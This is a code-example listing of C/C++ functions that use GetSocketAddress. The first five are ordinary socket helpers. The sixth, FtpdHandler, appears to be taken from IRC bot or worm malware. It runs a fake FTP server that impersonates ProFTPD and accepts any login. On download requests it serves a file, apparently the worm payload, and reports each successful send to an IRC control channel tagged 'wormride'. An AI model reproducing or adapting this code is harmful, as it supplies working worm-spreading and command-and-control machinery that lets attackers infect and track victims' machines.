Exemplo n.º 1
0
int CStmSocket::Connect(const char *pcszRemoteAddr, int nPort /*=0*/)
{
    int nResult = false;
    int nRetCode = 0;
    INET_ADDRESS saRemoteAddr = { 0 };
    
    ASSERT(nPort != 0);
    ASSERT(pcszRemoteAddr != NULL);
    if (
        (0 == nPort) || 
        (NULL == pcszRemoteAddr)
    )
    {
        goto Exit0;
    }
    
    nRetCode = GetSocketAddress(pcszRemoteAddr, &saRemoteAddr);
    ASSERT(nRetCode);
    
    if (nRetCode)
    {
        if (nPort != 0)
            saRemoteAddr.sin_port = ::htons(nPort);
        
        nResult = Connect(&saRemoteAddr);
    }
    
Exit0:
    return nResult;
}
Exemplo n.º 2
0
	LWPR::SOCKET_FD_T Socket::CreateServerUDPSocket(LWPR::UINT16& port)
	{
		SOCKET_FD_T fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
		bool bRetResult = (fd != -1);

		struct sockaddr_in addr = {0};
		addr.sin_family = AF_INET;
		addr.sin_addr.s_addr = INADDR_ANY;
		addr.sin_port = htons(port);
		bRetResult = bRetResult && (-1 != bind(fd, (struct sockaddr*)&addr, (int)sizeof(addr)));

		if(bRetResult)
		{
			std::string ip;
			int portTmp;
			if(!GetSocketAddress(fd, ip, portTmp))
			{
				CloseSocket(fd);
				fd = -1;
			}
			else
			{
				port = portTmp;
			}
		}
		else
		{
			CloseSocket(fd);
			fd = -1;
		}

		return fd;
	}
Exemplo n.º 3
0
int CDgmSocket::SetRemoteAddress(const char *pcszRemoteAddr, int nPort /*=0*/)
{
    int nResult = false;
    int nRetCode = 0;
    INET_ADDRESS saRemoteAddr = { 0 };
    
    if (NULL == pcszRemoteAddr)
        nResult = SetRemoteAddress(&saRemoteAddr);
    else
    {
        nRetCode = GetSocketAddress(pcszRemoteAddr, &saRemoteAddr);
        ASSERT(nRetCode);
        
        if (nRetCode)
        {
            if (nPort != 0)
                saRemoteAddr.sin_port = ::htons(nPort);
            
            nResult = SetRemoteAddress(&saRemoteAddr);
        }
    }
    
    return nResult;
}
Exemplo n.º 4
0
BOOL GetSocketRemoteAddress(SOCKET socket, LPTSTR lpszAddress, int& iAddressLen, USHORT& usPort)
{
	return GetSocketAddress(socket, lpszAddress, iAddressLen, usPort, FALSE);
}
Exemplo n.º 5
0
BOOL GetSocketLocalAddress(SOCKET socket, LPTSTR lpszAddress, int& iAddressLen, USHORT& usPort)
{
	return GetSocketAddress(socket, lpszAddress, iAddressLen, usPort, TRUE);
}
Exemplo n.º 6
0
void FtpdHandler()
{
	char szBuffer[128], szSendBuffer[128], szCommand[128], szParamter[128], szRemoteIp[128], szFtpdIp[16];
	char szPart1[4], szPart2[4], szPart3[4], szPart4[4], szPort[64], szPort1[64], szPort2[64];
	int iFDMax, iAddressLenght, iPort1, iPort2, i;
	struct fd_set hFDSETMain, hFDSETClient;
	struct sockaddr_in sinSockAddrIn;
	SOCKET sClientSock;
	long lIpAddress;
	
	FD_ZERO(&hFDSETMain);
	FD_ZERO(&hFDSETClient);
	
	if(!(pThread[FindPid("FTPDaemon")].sServerSock = socket(AF_INET, SOCK_STREAM, 0)))
		ExitThread(0);
	
	if(!Bind(pThread[FindPid("FTPDaemon")].sServerSock, usFtpdPort, false))
		ExitThread(0);
	
	FD_SET(pThread[FindPid("FTPDaemon")].sServerSock, &hFDSETMain);
	
	if(!(iFDMax = pThread[FindPid("FTPDaemon")].sServerSock))
		ExitThread(0);
	
	while(pThread[FindPid("FTPDaemon")].sServerSock) 
	{
		hFDSETClient = hFDSETMain;
		
		if (select(iFDMax+1, &hFDSETClient, NULL, NULL, NULL) == SOCKET_ERROR) 
			ExitThread(0);
		
		for(i = 0; i <= iFDMax; i++) 
		{
			memset(szBuffer,	0, sizeof(szBuffer));
			memset(szCommand,	0, sizeof(szCommand));
			
			if (FD_ISSET(i, &hFDSETClient)) 
			{
				if (i == (int)pThread[FindPid("FTPDaemon")].sServerSock) 
				{
					iAddressLenght = sizeof(sinSockAddrIn);
					
					if ((sClientSock = accept(pThread[FindPid("FTPDaemon")].sServerSock, (LPSOCKADDR)&sinSockAddrIn, &iAddressLenght)) != SOCKET_ERROR) 
					{
						FD_SET(sClientSock, &hFDSETMain);
						
						if ((int)sClientSock > iFDMax) 
							iFDMax = sClientSock;
						
						_snprintf(szSendBuffer, sizeof(szSendBuffer), "220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)\n", RandomNumber(0, 2), RandomNumber(0, 10));
						
						send(sClientSock, szSendBuffer, strlen(szSendBuffer) , 0);
					}
				} 
				else 
				{
					if(!(recv(i, szBuffer, sizeof(szBuffer), 0)))
					{
						FD_CLR((SOCKET)i, &hFDSETMain);
						closesocket(i);
					} 
					else 
					{
						sscanf(szBuffer,"%s %s", szCommand, szParamter);
						
						if(!strcmp(szCommand, "USER"))
							send(i, "331 Password required\n", 22, 0);
						else 
							if(!strcmp(szCommand, "PASS"))
								send(i, "230 User logged in.\n", 20, 0);
							else 
								if(!strcmp(szCommand, "SYST"))
									send(i, "215 UNIX Type: L8\n", 18, 0);
								else 
									if(!strcmp(szCommand, "REST"))
										send(i, "350 Restarting.\n", 16, 0);
									else 
										if(!strcmp(szCommand, "PWD"))
											send(i, "257 \"/\" is current directory.\n", 30, 0);
										else 
											if(!strcmp(szCommand, "TYPE") && !strcmp(szParamter, "A") || !strcmp(szParamter, "I"))
												send(i, "200 Type set to A.\n", 19 , 0);
											else 
												if(!strcmp(szCommand, "PASV")) 
													send(i, "425 Passive not supported on this server\n", 41, 0);
												else 
													if(!strcmp(szCommand, "LIST"))
														send(i, "226 Transfer complete\n", 22, 0);
													else 
														if(!strcmp(szCommand, "PORT")) 
														{
															sscanf(szBuffer, "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]", szPart1, szPart2, szPart3, szPart4, szPort1, szPort2);
															
															iPort1 = atoi(szPort1);
															iPort2 = atoi(szPort2);
															
															memset(szPort, 0, sizeof(szPort));
															_snprintf(szPort, sizeof(szPort), "%x%x\n", iPort1, iPort2);
															
															lIpAddress = strtoul(szPort, NULL, 16);
															
															_snprintf(szRemoteIp, sizeof(szRemoteIp), "%s.%s.%s.%s", szPart1, szPart2, szPart3, szPart4);
															send(i, "200 PORT command successful.\n", 29 , 0);
														}
														else 
															if (!strcmp(szCommand, "RETR")) 
															{
																send(i, "150 Opening BINARY mode data connection\n", 40 , 0);
																
																if(FtpdEstablishDataSocket(szRemoteIp, (int)lIpAddress))
																{
																	if(FtpdSendFile(sDataSocket))
																		send(i, "226 Transfer complete.\n", 23 , 0);
																	else
																		send(i, "425 Can't open data connection.\n", 32, 0);
																	
																	nFtpdTotalServed++;
																	
																	if(!GetSocketAddress(i, szFtpdIp))
																		strncpy(szFtpdIp, "unknown", sizeof(szFtpdIp));
																	BOT->cIRC.SendData("PRIVMSG %s :-wormride.ftod- %d. send success to %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),nFtpdTotalServed, ResolveHost(szFtpdIp), szFtpdIp);
																	
																	
																	closesocket(sDataSocket);
																} 
																else 
																	send(i, "425 Can't open data connection.\n", 32, 0);
															}
															else 
																if(!strcmp(szCommand, "QUIT"))
																	send(i, "221 Goodbye.\n", 13, 0);
																else
																	send(i, "501 Option not supported.\n", 26, 0);
																
																memset(szBuffer, 0, sizeof(szBuffer));
					}
				}
			}
		}
	}
	
	
	DelThread(FindPid("FTPDaemon"));
	ExitThread(1);
}